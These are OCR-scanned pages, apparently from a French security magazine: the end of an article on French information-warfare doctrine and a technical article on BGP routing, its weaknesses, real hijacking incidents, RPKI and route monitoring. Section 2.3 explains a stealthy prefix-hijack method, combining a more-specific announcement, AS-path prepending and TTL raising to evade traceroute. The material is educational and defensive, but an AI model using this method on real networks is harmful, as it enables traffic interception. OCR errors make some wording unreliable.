~l Parce que les doctrines américaines ne peuvent pas faire
T'objet d'un simple copier-coller vers le modéle francais. Le
concept de NCW a fait I'objet de nombreuses interrogations
et regards critiques.

—# Parce que les systémes ne conerétisent pas toujours tous
les espoirs portés en eux et sur le terrain opérationnel la
« maitrise de l'espace informationnel » n‘assure pas pour
autant la fluidité et le succés des opérations :

>> On a placé dans les NTIC l'espoir de voir l'ennemi sans
étre vu, de le voir et frapper au-dela de I'horizon, ete.
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Mais, sur le terrain, le suivi des forces ennemies semble
fonctionner toujours moins bien que le suivi de ses
propres forces.

>> Les systémes permettent d’accéder a toujours plus d'in-
formation, toujours plus vite. Mais, il faut gérer les dif-
férents tempos : un ordre peut étre donné, transmis et
recu avec des délais trés courts. La réalisation de l'ordre
n'en sera pas pour autant toujours accélérée.

>> Nombre de technologies de communication sont relative-
ment inefficaces aujourd’hui sur le terrain des guérillas
en milieu urbain.

>> Les capacités offertes par les NTIC permettent de pro-
duire toujours plus de documents, et donc d’alourdir les
processus, le ralentir : « un bataillon de la Wechmacht
mettait environ 30 minutes pour concevoir et dissémi-
ner un ordre. En 1994, la 3° Division britannique esti-
mait a 12 heures la durée nécessaire a la production
d'un ordre dopération » [84].

>> « Laugmentation des capacités dacquisition et de traite-
ment n'a pas réduit praportionnellement les incertitudes
du champ de bataille puisquelle a créé d'autres besoins
par ailleurs » [85].

« La transformation dans les armées passe également par
la ‘furie du tout technologique’ de la fin du XXéme siécle et
du début du XXIéme siecle ... Heureusement nous avons su
raison garder » [86].

Conclusion

La doctrine francaise de guerre de I'information est done
essentiellement contenue dans le concept militaire « d'opéra-
tions d'information ». Mais, aux colonnes du temple militaire,
on pourrait sans doute adjoindre les approches civiles (maitrise
de I'information économique, des médias, LIO/LID, lutte contre
la cybereriminalité) pour construire un continuum civil-mili-
taire de protection de I'espace informationnel. La France dans
cette approche reste quoi qu'il en soit fidele a sa position défen-
sive. Mais, on sent, malgré tout, toute la difficulté qu'éprouve
un Etat de droit 4 se protéger et se défendre sans commettre les
mémes actes que ses agresseurs, devant affronter des difficultés
nouvelles comme Pinvisibilité des agresseurs, 'absence d'en-
nemi désigné, le contournement permanent par les agresseurs
des quelques forteresses de sécurité édifiées. La stratégie de

(D Références

Les références de cet article sont disponibles sur misemag.com/ref42.

lutte informatique saurait-elle s'inscrire dans la stratégie de
dissuasion de la France, comme l'avance le sénateur
Romani [87] ? Modérons cet argument, la dissuasion ne fonc-
tionnant qu'a une condition : que l'adversaire soit conscient et
convaincu des risques qu'il court. Lagresseur de I'espace infor-
mationnel court-il des risques ? Quoi qu'il en soit, le message
du dernier Livre blanc semble clair : doctrine de guerre de I'in-
formation ou non, elle est préte a en découdre pour défendre
son espace informationnel, Peut-étre lui faudrait-il alors affiner
son modeéle. Car, malgré les résistances, réticences et critiques
vis-a-vis de la pensée américaine, le modéle francais a du mal
a se démarquer et masquer ses références : les colonnes du
temple ressemblent encore beaucoup a I'empilement des briques
de Libicki. N
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e succés des réseaux IP, et de I'Internet en particulier, nest plus a démontrer.
Les réseaux IP sont devenus en quelques années le support de transport
universel des services de télécommunication, que ce soit pour la voix, la
vidéo ou en passant par des services plus classiques (web, mail, etc.).

Toutefois, force est de constater que certains fondements du réseau restent obscurs
tant aux néophytes qu'a bon nombre de professionnels des réseaux entreprise ou
voix. Cela est particuliérement vrai en ce qui concerne I'Internet et son protocole
de routage BGP (Border Gateway Protocol).

Qu'en est-il vraiment de l'infrastructure BGP, de sa sécurité et dans quelle mesure
est-il possible de surveiller les annonces de routage dans UInternet ? Voila autant de
questions auxquelles cet article apporte (nous lespérons du moins) un début de réponse.

1. BGP et ’échange des informations de routage

dans 'Internet

Pour réaliser une communication entre

deux hétes dans I'Internet, I'un des processus
majeurs est 'acheminement des paquets IP entre
les machines. Ce processus se fait de proche en
proche via des équipements dédiés : les routeurs
IP. Afin que chaque paquet atteigne sa destina-
tion, un routeur doit étre 4 méme de déterminer
le « prochain bond », c'est-i-dire le routeur voisin
a qui transmettre le paquet. Pour ce faire, chaque
routeur effectue cette résolution en interrogeant

sa table de routage sur 'adresse destination du @ Vers 2210012
11.00.1 -
paquet. La construction des tables de routage est => sortir 2 gauche
donc le nerf de la guerre, d'une part, de la connec-
tivité [1] et, d'autre part, de l'accessibilité [2] Figure 1. : Acheminement de paquets IP entre deux hotes
totale du réseau. I
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Pour déployer des réseaux IP de grande taille, il n'est plus
possible de reposer sur un routage statique, bien trop compliqué
a mettre en place. Afin donc de construire leurs tables de rou-
tage, les routeurs s‘échangent dynamiquement de I'information
concernant les préfixes (plages d’'adresses réseau) qu'ils savent
joindre. Le format et les modalités d'échange doivent étre for-
malisés : c'est le role du protocole de routage.

A ses origines, Internet était un réseau unifié, tous les rou-
teurs implémentaient un méme protocole de routage : GGP
(Gateway to Gateway Protocol). Mais, avec I'augmentation du
nombre de réseaux et d'équipements connectés, un double pro-
bléme a rapidement émergé :

—# Lefficacité face au passage a 'échelle : le protocole de routage
se doit de faire face d'une part a l'augmentation de la taille
des tables de routage et de la fréquence des événements de
mise a jour, en conservant un temps de convergence [3] du
réseau acceptable.

~# Lexpressivité limitée des politiques de routages disponibles
surun routeur : les acteurs du réseau se diversifiaient, plus
de contréle sur le trafic et les chemins qu'il empruntait deve-

nait nécessaire.

La solution fiit 'ajout d’un niveau hiérarchique de routage
supplémentaire dans I'Internet. Les différents réseaux furent
regroupés au sein d’entités responsables de 'exploitation appe-
lées « systémes autonomes » (AS), et identifiées de maniére
unique par un numeéro d’AS. Au sein de chaque AS, la mainmise
administrative est totale et les décisions sont unilatérales : I'ad-
ministrateur décline une politique de routage sur chacun de ses
routeurs pour réaliser I'ingénierie de trafic. Mais, pour mainte-
nir la connectivité et I'accessibilité totale, les AS doivent s’inter-
connecter et échanger de l'information sur les moyvens de joindre
les réseaux dont ils sont responsables. Cette interconnexion est
réalisée au moyen de routeurs spécialisés implémentant actuel-
lement le protocole BGP-4 (Border Gateway Protocol), défini
dans la norme [RFC4271].

BGP est un protocole incrémental a vecteurs de chemins.
Pour chaque préfixe p accessible, un routeur annonce 4 tout ou
partie de ses voisins son meilleur chemin pour joindre p. Dés
qu’un routeur détecte une modification sur 'un de ses meilleurs
chemins, il calcule un nouveau meilleur chemin et I'annonce a
ses voisins (protocole incrémental). Les routeurs s'annoncent la
séquence des AS a traverser pour joindre une destination (pro-
tocole a vecteurs de chemins).

Notons que les connexions établies entre des routeurs BGP
appartenant au méme AS sont appelées « internes » ou « iBGP »,
et celles établies entre deux routeurs BGP appartenant a des
AS distincts sont appelées « externes » ou « eBGP ». Les sys-
témes autonomes s'interconnectent donc par le biais de sessions
eBGP. Mais, ces interconnexions ne sont pas le fruit du hasard.

Figure 2

En effet, il existe une pluralité d’acteurs responsables d’AS (voir
tableau 1, page suivante) : universités, entreprises, services gou-
vernementaux, fournisseurs d'accés, fournisseurs de services,
opérateurs, etc. (cf. tableau 1 pour quelques exemples d'acteurs
de lI'interconnexion IP en France.). En conséquence, l'intercon-
nexion se fait selon des contrats & dominantes économiques
parmi lesquels on trouve principalement :

—# L'accord de type Client/Fournisseur : sous cet accord, le
client paie pour le trafic entrant et sortant (c'est-a-dire qu'il
paie pour obtenir l'accessibilité et la connectivité).

—l L'accord de type Peer : sous cet accord, les deux AS connec-

tés échangent gratuitement le trafic 4 destination de leurs
clients respectifs.

‘change d ‘informations de routage entre routeurs BGP |

Ne paie pas AS2 pour
e trafic associé
&11.0.00/24

l’—'uuru‘t;seur
C!{r_m

e
Fournisseur

_ pfent

Supposons maintenant quun routeur BGP dispose de plu-
sieurs chemins pour une méme destination. Il lui faut élire
un meilleur chemin parmi ceux annoncés qui est le chemin &
emprunter pour acheminer le trafic et a ré-annoncer 4 ses voisins.
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Type d’acteur

Level 3 Communications  (Etats-Unis)

LAMBDANET  (Allemagne)

France Téléecom  (France)

Apercu de linfrastructure BGP

SR Numéro de 'AS

Sociele s -
administreé

(France)

{ Etats-Uuis)

Verizon  (Ftats-Unis)

NEQ! (France)

Neuf Cegetel  (France)

Dailymotion {F-ra‘nc"eJ
OVH ' (France)

Tableauw 1 : Exemples d'acteurs de interconnexion 1P en France et AS administrés

Les critéres qui entrent en jeu pour la prise de décision sont
pour partie transportés sous la forme d’attributs dans les mes-
sages de mise 4 jour, et pour partie configurés sur les routeurs.

Le premier critére examiné est le LOCAL_PREF. Cet attribut est
configuré sur un routeur BGP frontiére de I'AS et rajouté dans
les routes BGP qu'il transmet 4 ses voisins iBGP internes a I'AS.
Cet attribut renseigne le routeur sur l'intérét (souvent écono-
mique) a passer par tel ou tel voisin. Ainsi, par exemple, s'il a
le choix, un routeur privilégie tout d'abord un AS client, car le
client paie pour le trafic recu et envoyé, puis un AS peer (le trafic
échanggé ne cofite rien si ce n'est la consommation de ressources
réseau) et finalement un AS fournisseur (que I'on paie).

Le second attribut examiné est transporté dans les mes-
sages : il s'agit de I'tS_PATH qui représente la séquence des AS par
lesquels I'information de routage a transité. Lorsqu'un routeur
BGP annonce une information de routage a destination d’'un pair
eBGP (donc d'un autre AS), il ajoute son propre numéro d’AS ala
séquence d’AS_PATH. Cela permet d’éviter les boucles de routage.
A [0CAL_PREF égaux, un routeur choisira le chemin dont I'A5_PATH
est le plus court ; il s'agit alors de minimiser les distanees inter-
domaines a franchir pour joindre la destination.

Une technique couramment utilisée en ingénierie de trafic
consiste a ajouter plusieurs fois son numéro dAS al'AS PATH. Cette
technique appelée « prepending » permet ainsi daugmenter la
taille de l'attribut A5_PATH et donc de déprécier le chemin corres-
pondant. Cette technique est souvent utilisée dans le cas d'un
client connecté a plusieurs fournisseurs afin de favoriser I'écou-
lement de son trafic par I'un de ses fournisseurs (fournisseur
primaire), les autres étant utilisés en backup en cas de probleme
sur le lien primaire.

Viennent ensuite plusieurs attributs caractérisant plutot la
facon dont le trafic est transporté & I'intérieur de I'AS. Bien que
l'objectif de 'administrateur de 'AS puisse varier, il s'agit géné-
ralement de minimiser 'utilisation des ressources réseau de 'AS
et done de sortir au plus tét (principe dit « de la patate chaude »).
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Figure 4 : Attributs des chemins BGP et fonction objectif |

La notion de plus court chemin dans BGP est donc complexe,
car la métrique n'est pas unique et dépend de chaque politique
alintérieur de I'AS.

En plus de la configuration des différents attributs eux-
mémes, un ensemble d’actions peuvent étre définies au niveau
des routeurs pour implémenter la politique de routage de I'AS.
Notons parmi les listes de filtrage :

~M les listes de préfixes : pour filtrer en import ou en export
des annonces de préfixes en provenance ou & destination
d'un voisin donné ;

~# les listes de communautés : une communauté est un attribut
permettant de marquer des routes devant subir un méme
traitement (filtrage, modification d'attributs, ...) ;

~M les listes de contréle d'AS_PATH : pour filtrer des annonces en
fonction des AS présents dans lattribut AS_PATH.

Chaque terme des politiques de routage est ensuite confi-
guré pour filtrer des routes par rapport 4 un ensemble d’attri-
buts ou pour modifier des attributs des annonces qui vérifient
certaines clauses.

En résumé, le traitement d'une annonce BGP par un routeur
peut étre décrit comme suit : suite & la réception d'une route




en provenance d'un voisin BGP, il y a acceptation ou rejet de la
route selon la politique d'import. Cette route est ensuite stockée
dans une table dédiée, 'Adj-RIB-in (il existe une Adj-RIB-in par
voisin). Les attributs sont traités et éventuellement modifiés de

la route selon la politique d'import. Cest alors qu'est appliqué le
processus de décision BGP ; cet algorithme détermine quelle est
la meilleure route pour chaque préfixe concerné par 'UPDATE
BGP. Cette meilleure route étant installée dans la table de rou-
tage BGP, la Loc-RIB (globale au routeur) [4].

Ensuite, pour chaque voisin BGP, la politique d’export est
appliquée sur la meilleure route pour décider si elle peut étre
annoncée au voisin en question. Si cela est configuré, I'agré-

gation de plusieurs routes en une seule est effectuée a cette

étape, toujours selon la politique de routage. L'annonce est alors
stockée dans une table dédiée, 'Adj-RIB-out (il existe une Adj-
RIB-out par voisin). Enfin, si 'Adj-RIB-out a changé, le routeur
envoie un update BGP vers son voisin.

En paralléle, si la meilleure route a changé, le routeur réé-
crit I'entrée dans la table de transfert (FIB ou Forwarding
Information Base) ou redistribue la route vers un autre proto-
cole de routage (par exemple un IGP).

Aujourd’hui, plus de 29000 systémes autonomes compo-
sent I'Internet. Les considérations économiques jouent un role
moteur dans I'établissement des chemins inter-domaines. Les
motifs d'interconnexion sont maintenus secrets pour d'évidentes
raisons stratégiques et économiques.

2. Fragilité de I'infrastructure BGP

Différents facteurs contribuent a 'apparition de limitations et
de vulnérabilités dans le routage Internet :

—# Le routage BGP est basé sur la confiance : & partir du
moment ol deux AS sont interconnectés, ils peuvent a priori
s‘annoncer tout et n'importe quoi. Il n’y a aucun moyen de
vérifier la véracité d'une annonce. Par exemple, il n'existe
aucune association certifiée entre des préfixes et les AS ori-
ginant ces préfixes, Les opérateurs se contentent bien sou-
vent de vérifier uniquement que leurs clients nannoncent
pas plus d'un certain nombre de préfixes [ 5], limite définie
dans le contrat d'interconnexion.

— Les préfixes « plus spécifiques » sont toujours préférés : si
un routeur posséde dans sa table de routage deux entrées,
par exemple une pour 10.0.0.0/8 et une pour 10.0.0.0/24 qui
est plus spécifique que 10.0.0.0/8, alors le trafic 4 destina-
tion des hotes d'adresses IP du sous-réseau 10.0.0.0/24 est
transporté conformément a la seconde entrée (10.0.0.0/24).

~—@ Puisqu'il s'agit du réseau Internet, aucun acteur n'a la vision
compléte du routage et des événements qui s’y produisent.
Pour schématiser, un AS a la vision de comment il joint les
autres. Par contre, il ignore comment les autres le joignent et
encore moins comment les autres se joignent entre eux. Ceci
est notamment di au caractére incrémental du protocole
(chaque routeur ne ré-annonce que son meilleur chemin) et
a l'implémentation des différentes politiques de routage qui
conduisent a filtrer les informations en import et en export.
Le nombre de destinations (plus 280 ooo préfixes joi-
gnables), ainsi que la dynamique du réseau, rendent encore
plus difficile I'interprétation des messages de mise 4 jour.

Voyons maintenant différents exemples de menaces planant
sur le routage dans I'Internet et qui exploitent ces faiblesses.
Dans ces exemples, & cause de la vue partielle qu'a chaque AS
de I'ensemble du routage sur I'Internet, nous allons voir qu'’il est

difficile pour un opérateur de détecter les problémes et de les
régler seul. En effet, c'est la coopération entre opérateurs qui
va faire la force du réseau Internet et clest sur elle que repose la
robustesse de I'ensemble du réseau.

2.1 Rupture de contrat

de peering et partitionne-
ment de 'Internet

Il existe dans I'Internet une hiérarchie entre les AS selon la
facon dont ils obtiennent la connectivité totale. On appelle ainsi
Tier-1, un AS qui l'obtient en ne comptant que sur ses clients et
ses peers (il n'a aucun fournisseur), Tier-2, un AS ayant recours
a au moins un fournisseur de type Tier-1, etc. La connectivité
globale de I'Internet repose donc fortement sur la densité des
accords de peering existant dans le cceur (entre Tier-1) et, par
conséquent, une remise en cause de ces accords constitue une
faiblesse dans la structure méme de I'Internet. En 2008, deux
acteurs majeurs de 'Internet, Telia et Cogent, ont rompu leur
accord de peering. La conséquence directe fut une rupture de
connectivité entre un grand nombre de leurs clients respectifs.

Un exemple encore plus frappant a été le depeering d’Atrivo
(Intercage), un hébergeur californien accusé d'étre 4 Torigine de
spams, diffusion de malwares et autres virus, scams, et autres
activités malveillantes [ATRIVO]. En septembre 2008, I'en-
semble de leurs fournisseurs d’accés se coordonnent non sans
mal pour refuser toute connexion & Atrivo/Intercage. En consé-
quence, Atrivo a purement et simplement disparu de I'Internet
le 24 septembre. A cette occasion, MessageLabs (http://www.
messagelabs.com/) note une forte chute de l'activité des
botnets lors de la déconnexion. Quelques semaines plus tard,
McColo Corp (AS26780) disparait lui aussi de I'Internet (méme
cause, mémes effets).
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2.2 Annonces de route mal

formées et oscillations
BGP en cascade

La premiére partie de I'article montrait que, pour réaliser de
lingénierie de trafic, un AS multi-homé (ayant plusieurs four-
nisseurs de transit) pouvait ajouter N fois son numéro d'AS a
I'AS_PATH dans ses annonces pour pénaliser certains chemins et
favoriser I'écoulement de son trafic via un fournisseur spécifique.

Sachant que le nombre moyen de systémes autonomes tra-
versés par un paquet de part et d’autre de I'Internet est 4 4 6 AS,
il suffit en général de rajouter 1 & 7 fois son numéro d'AS pour
que la route ne soit pas privilégiée et suffisamment pénalisée
par rapport aux autres chemins possibles.

Or, un bug sur les routeurs lettons Mikrotik, qui pourtant ne
doivent pas accepter de rajouter plus de 16 fois le numeéro d’AS
dans I'AS_PATH (ef. lextrait de documentation ci-dessous)

bgp-prepend (integer: @..16) - number which indicates how many

times to prepend AS_NAME To AS_PATH

a autorisé des routeurs & rajouter beaucoup plus de fois que néces-
saire le numéro d'AS dans AS PATH : la valeur indiquée a la suite
de la commande 'bop-prepend’ modulo 256. Malheureusement,
de nombreux techniciens réseau étant familiers avec les com-
mandes Cisco, ceux-ci ont positionné comme valeur de pre-
pend leur propre numéro d'AS, ce qui a provoqué depuis fin
2008 l'envoi d'annonces BGP avec des A5_PATH plus ou moins
longs (quelques dizaines, voire plus de 100 AS dans I'AS_PATH).

Le 16 février 2009, un AS tchéque, Supronet (AS48768),
a annoncé son préfixe 94.125.216.0/21 dans des messages
d’'UPDATE BGP avec pour attribut un A5_PATH long de 252 AS.
Malheureusement, dans la propagation de cette annonce,
chaque AS a ajouté a I'AS_PATH son propre numéro d’AS ce qui lui
a fait franchir la limite de 255 numéros d’AS. Certains routeurs
BGP (bug Cisco notamment) n'acceptant pas cette route ont aus-
sitot fermé leur session BGP,

Feb 16 16:44:36.065 GMT: BGP: x.x.x.x Bad attributes

Feb 16 16:45:43.389 GMT: 1BGP-6-ASPATH: Long AS path 6461 1299 29113 47868

47868 47868 47868 47868 47868 47868 47868 47868 47868 47868 47868 47868
47868 47868 47868 47868 47868 47868 47868 47868 47868 47868 47868 47868
47868 47868 47868 47868 47868 47868 47868 47868 47868 47868 47868 47868
47868 47868 47868 47868 47868 47868 47868 47868 47868 47868 47868 47868
47868 47868 47668 47868 47868 47868 47868 47868 47868 47868 47868 47868
47868 47868 47668 47868 47868 47868 47868 47868 47868 47868 47868 47868
47868 47868 47868 47868 received from x.x.x.x: Has more than 255 AS

Feb 16 16:45:43.389 GMT: %BGP-5-ADJCHANGE: neighbor x.x.x.x Down BGP
Notification sent

Feb 16 16:45:43.389 GMT: %BGP-3-NOTIFICATION: sent to meighbor x.x.x.x 3/11

(invalid or corrupt AS path) 516 bytes 50620206 B2FF193D 85137189
BAFCBAFCEA
Feb 16 16:45:43.389 GMT: BGP: x.x.x.x Bad attributes
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ce qui a automatiquement provoqué une convergence BGP chez
leurs voisins qui ont eux-mémes recalculé et annoncé les nou-
velles meilleures routes (et donc potentiellement provoqué des
convergences BGP dans tout I'Internet), puis ont remonté leur
session et ont donc 4 nouveau annoneé leurs routes jusqu'a récep-
tion de l'annonce fatale, etc. Les routes BGP ont ainsi oscillé dans
tout I'Internet jusqu'a 'application de filtres BGP (en filtrant, par
exemple, sur la longueur de I'AS_PATH ou sur la route de Supronet).

Supronet n'était pas le seul AS a envoyer des routes avec des
chemins de longueurs disproportionnées ces derniers temps (citons
entre autres les AS 24532, 43179, 48262, 39625, 33838), mais
cétait le premier a franchir le cap des 250 ; combiné au bug chez
certains équipementiers sur les AS_PATH longs et 'absence de filtres
BGP sur cet attribut, cela a eréé une véritable tempéte dannonces
BGP [ REN1]. une instabilité massive et mondiale des routes, et de
nombreuses pertes de trafic sur l'ensemble de I'Internet.

2.3 Le « vol » de préfixes

Etant donné les points explicités plus haut, il est assez
facile d'imaginer comment détourner des préfixes en BGP. Ces
détournements sont parfois volontaires ou, d’autres fois, résul-
tent d'incidents malheureux comme nous allons le voir dans les
exemples suivants.

Hijacking de préfixe pour supprimer
l'accessibilité

La forme la plus simple consiste 2 annoncer un préfixe plus
spécifique que le préfixe que vous voulez détourner. Cest ce qua
fait un opérateur pakistanais en février 2008. Voulant inter-
dire l'accés a Youtube (AS36561), le gouvernement a ordonné
4 Pakistan Telecom (AS17557) d’interdire I'accés au site de
Youtube correspondant aux IP (208.65.153.238, 208.65.153.253
et 208.65.153.251). Pour ce faire, Pakistan Telecom a ajouté une
route statique sur ses routeurs pour le préfixe 208.65.153.0/24
(plus spécifique que le préfixe 208.65.152.0/22 annoncé par 'AS
de Youtube). Malheureusement, la route en question a été redis-
tribuée en eBGP aux AS voisins et a été annoncée au fournisseur
de Pakistan Telecom, Pacific Century Cyberworks (AS3491).
Puis, cette route a été ré-annoncée dans tout I'Internet, provo-
quant la convergence de la plupart des AS sur ce préfixe plus
spécifique, et la redirection du trafic & destination de Youtube
vers Pakistan Telecom.

Vol de préfixe pour détournement
de trafic

Imparable pour réaliser un déni de service, ce type de hijack
n'est pourtant pas la menace la plus sérieuse. Une technique plus
raffinée exposée pendant la derniére conférence Defcon, en aott
dernier 4 Las Vegas [KAPELA], mérite, quant a elle, plus d’at-
tention. Partons de la configuration illustrée dans la figure 5.




—

180.10.0.0/16

480.10.0.0117
epend AS13 - AS12 - AST
R ¥

Figure 6 ;: Annonce d'un préfixe plus spéeifique et prepending du chemin

dannonce

L'AS1 annonce le préfixe 180.10.0.0/16 ; aprés convergence
de tous les réseaux représentés, chaque AS posséde un plus
court chemin pour joindre ce préfixe.

L'AS2 annonce le préfixe 180.10.0.0/17, plus spécifique, en
prenant soin de protéger le chemin de retour qu'il utilise via
les AS AS13, AS12 et AS1. Pour ce faire, il rajoute leur numéro
d’AS au sien dans Pattribut AS_PATH du message correspondant
(prepend). En effet, pour éviter les boucles de routage, ces AS
rejetteraient un tel message s'ils venaient & le recevoir. Ainsi, les
AS AS12 et AS13 continuent  acheminer le trafic selon I'entrée
correspondant au préfixe 180.0.0.0/16.

L'AS14 enverra, quant a lui, son trafic a destination des
adresses contenues dans le préfixe 180.0.0.0/17 vers I'AS2,
permettant a ce dernier de recevoir, modifier ou seulement
observer ce trafic. Il suffit ensuite 4 'AS2 de configurer une
route statique vers 'AS13 pour ce préfixe afin que le trafic soit
correctement routé jusqu'a 'AS1.

Le détournement est effectivement réussi et la connectivité
de bout en bout reste intacte. Mais, un simple traceroute depuis
un looking glass public pourrait trahir le hijack et permettre
I'identification de I'AS coupable. Il suffit alors & l'attaquant
d'augmenter autant que nécessaire le TTL |6] des paquets qui
transitent par lui a destination de sa victime pour disparaitre
des traceroutes.

En effet, on rappelle qu'un traceroute permet de suivre
le chemin d’un paquet entre deux machines. Son principe de
fonctionnement consiste a envoyer des paquets avec un TTL de
plus en plus grand (en commencant a 1). Chaque routeur rece-
vant un paquet en décrémente le TTL. Lorsque le TTL atteint
0, le routeur émet un paquet ICMP d'erreur (type 11, code 1)
ce qui permet de découvrir les routeurs de proche en proche.
En augmentant le TTL des paquets transitant par son AS, et a
destination de sa victime, le hijacker évite ainsi qu'aucun de
ces paquets n'expire dans son réseau qui devient invisible aux
yeux d'un traceroute.

Usurpation temporaire de préfixes
pour le spam

Tl y a quelques années, une étude [FEAM] a montré une
corrélation entre l'annonce plutét bréve de larges préfixes 1P
usurpés sur I'Internet et 'envoi de spam depuis des adresses
sources appartenant a ces préfixes. Le principe est qu'en annon-
cant un large bloe d'adresses (/8 par exemple), ce préfixe a
moins de chances de se faire filtrer ; et surtout, en annoncant
un préfixe plus spécifique, le spammeur risquerait d'envoyer une
route qui serait préférée de tout I'Internet, donc de détourner du
trafic et se faire alors repérer. Alors que I'objectif recherché ici
est de controler I'annonce furtive du préfixe, et, durant ce laps
de temps, de parvenir a utiliser quelques adresses IP réparties
dans cette plage pour monter des sessions SMTP vers des relais
et envoyer une certaine quantité de spams, le tout avant de sup-
primer la route BGP. Les plages choisies par les attaquants sont,
par exemple, des blocs alloués et non annoncés sur I'Internet,
les adresses vacantes ayant moins de chance d’8tre présentes
dans des listes noires anti-spam (RBL) et le spammeur de se
faire tracer.

Détournement involontaire de trafic

Il existe d'autres formes de hijacking de préfixes, souvent
résultant d'une malheureuse erreur de configuration, dans les-
quelles un AS annonce tout ou partie de la table de routage de
T'Internet en se faisant passer pour I'AS origine. La durée du
détournement de trafic peut étre plus ou moins longue selon les
temps de réactivité des opérateurs : en novembre 2008, lorsque
le fournisseur de service brésilien CTBC (AS16735) a connu cette
meésaventure, il a annoncé pendant quelques minutes de 120000
a 170000 préfixes a ses propres fournisseurs qui ne les ont pas
propagés a I'ensemble de I'Internet, ce qui a rendu I'incident
trés localisé.

Le méme type d'incident s'était déja produit en 2004, ot cette
fois-ci les annonces faites par l'opérateur turec TTNet (ASg121)
avaient eu des répercussions sur I'ensemble de I'Internet
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pendant plusieurs heures. En effet, leur fournisseur Telecom
Ttalia Seabone n‘ayant pas mis en place de filtre, il a acheminé
les trafics 4 destination de sites a grosses audiences tels que
Amazon, Yahoo, CNN, etc. vers l'opérateur turc.

Ce type d'erreur est bien plus fréquent qu'il n’y parait ; I'im-
pact dépend, d'une part, de la rapidité de détection de I'évé-
nement et, d'autre part, de la présence de filtres de préfixes
chez les gros acteurs de I'Internet (Tier-1, Tier-2, ce qui revient
quelque part a estimer la confiance qu’ils portent dans les
annonces qui leurs sont faites).

Des débuts de solutions contre

le hijacking ?

Les RIR (Regional Internet Registries) sont les organisa-
tions chargées d'allouer des adresses IP et des numéros d'AS
a des organisations (entreprises, fournisseurs d'acces, opé-
rateurs...). Rappelons que, pour le moment, il n’existe pas de
moyen de certifier qui posséde (ou en tout cas est autorisé a
utiliser) une plage d’adresses IP donnée, bien que des systémes
pour authentifier les adresses allouées et les annonces de rou-
teurs soient a I'étude. SecureBGP et SoBGP (| MISC]) avaient
pour objectif de signer les annonces BGP, et en particulier 'opé-
rateur peut signer les annonces des blocs d'adresses qui lui ont
été alloués.

Mais, ces deux solutions n'ont jamais rencontré un consen-
sus. Leur popularité au sein de la communauté des opérateurs

Apercu de l'infrastructure BGP

n’a pas été forte, l'objectif final n'étant pas per¢u comme intéres-
sant par les opérationnels, voire dangereux, car qui dit déploie-
ment de solution de signature implique par-la méme temps de
calculs supplémentaires, et done ralentissement possible de la
convergence lors d'échanges BGP. De plus, ces deux propositions
ont toujours eu des écueils techniques : SoBGP ne vérifie que
I'AS origine (et donc évite des erreurs de configurations ou des
détournements intentionnels), mais il ne contre pas le hijacking
volontaire. SBGP protége, quant a lui, I'AS_PATH entier dans les
annonces, mais est trop lourd du fait du nombre de vérifications
de signatures. Un systéme plus léger serait donc nécessaire et
probablement mieux accepté.

Parmi les autres initiatives en cours, citons RPKI
(« Resource Public Key Infrastructure »). Ici, les RIR montent
ensemble une infrastructure a clés publiques (ICP ou PKI) pour
ajouter une authentification de la délégation des blocs d'adresses
IP aux entités, et ainsi apporter la signature a 'espace d'adresses
IP. Dans un premier temps, la délégation des adresses depuis
I'TANA (Internet Assigned Numbers Authority) est signée et,
ensuite, chacun des 5 RIR signe les délégations aux ISP ou
entreprises en utilisant leurs numéros d’AS, ce qui revient a
authentifier des préfixes IP par rapport aux AS : TAPNIC et le
RIPE NCC proposent RPKI en version béta.

Si, pour le moment, aucune solution ne remédie aux pro-
blémes d’annonce, il existe tout de méme de nombreux outils
pour détecter les mauvaises configurations ou tentatives de
détournement de trafic.

3. Initiatives de supervision des annonces BGP

sur I'Internet

3.1 Les sources d’information

publiques

Les RIR maintiennent des bases de données contenant les
informations de blocs alloués, les numéros d’AS, des informa-
tions de contacts et des descriptions de réseaux. Ces informa-
tions sont accessibles au public en utilisant le protocole Whois.

D'autre part, outre les RIR, d’autres organisations maintien-
nent des bases d’enregistrements contenant des informations
de routage, écrites en RPSL (ou Routing Policy Specification
Language [7] [RFC2622]), et qui renseignent les politiques de
routage des ISP, notamment les préfixes qu'ils annoncent par
BGP. Lenregistrement dans la base RADb (Routing Arbitrer
Database) est, elle, payante par exemple. Ces bases ensuite
sont interrogeables A travers le protocole WHOIS voire diverses
interfaces web et sont accessibles publiquement. Logiquement,
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un opérateur est censé enregistrer ses propres données dans

une unique base de routage.

Ensemble, ces bases forment I'Internet Routing Registry
(IRR) [IRR] : les opérateurs les interrogent entre autres pour
retrouver des informations de politiques de routage, accords
de peering des autres AS, ainsi que la liste des préfixes originés
par un AS donné, et peuvent les utiliser pour forger leur propre
politique de routage [8]. Un autre usage peut étre de générer
automatiquement des filtres BGP (par exemple, pour valider
qu'un AS a le droit d'annoncer un bloc donné) et des parties de
configurations de routeurs (notamment avec la suite d'outils
IRRtoolset [IRR1] ou IRRpt [IRRpt]). §il n'est pas obligatoire
de renseigner ces bases IRR, le filtrage de routes de certains
gros opérateurs repose sur ces outils et ils forcent leurs clients
A mettre 4 jour correctement ces bases sous peine de filtrer leurs

routes et nuire i leur accessibilité.



Mais, en pratique, de nombreux opérateurs ne documentent
pas ces bases (cofit administratif, confidentialité des accords
inter-opérateurs), les rendant incomplétes et de mauvaise qua-
lité, et ce, a tel point que des outils de vérification de la consis-
tance des données ont méme été créés [9]. Ces bases n'étant
pas mises & jour en temps réel, un autre effet de bord est le
délai de mise a jour des filtres lorsque de nouvelles routes sont
annoncées, ce qui crée potentiellement des rejets de routes et
donc des pertes de trafic. Enfin, il n’y a pas d'organisation qui
réglemente la mise a jour de ces bases, ni qui méme en vérifie
les entrées.

Les looking glass (interfaces web vers un routeur) ou autres
route servers (routeurs BGP accessibles publiquement et répon-
dant a certaines commandes) sont également des sources d'in-
formation utiles pour les opérations de troubleshooting. Enfin,
quelques sites proposent des dumps de données BGP agrégées
sur des collecteurs de routes, offrant ainsi une vision dyna-
mique des échanges BGP. Les plus célébres sont ceux du projet
RouteViews [RV] de I'université de I'Oregon et ceux du projet
RIS (Routing Information Service), un ensemble de collecteurs
de données BGP financé par le RIPE NCC et composé d'une
quinzaine de nceuds qui établissent des sessions BGP avec plus
de 600 routeurs [RIS].

Il est important de comprendre que le nombre et la localisa-
tion des points d'ebservations sur I'Internet ont leur importance.
En effet, par le jeu des politiques de routage et des filtres des
opérateurs, ainsi que par la nature incrémentale de BGP, il n’est
pas possible d'observer la structure d'interconnexion dans son
ensemble & partir d'un sous-ensemble de points de mesure. Il
n'est, par exemple, possible d'observer un lien de peering entre
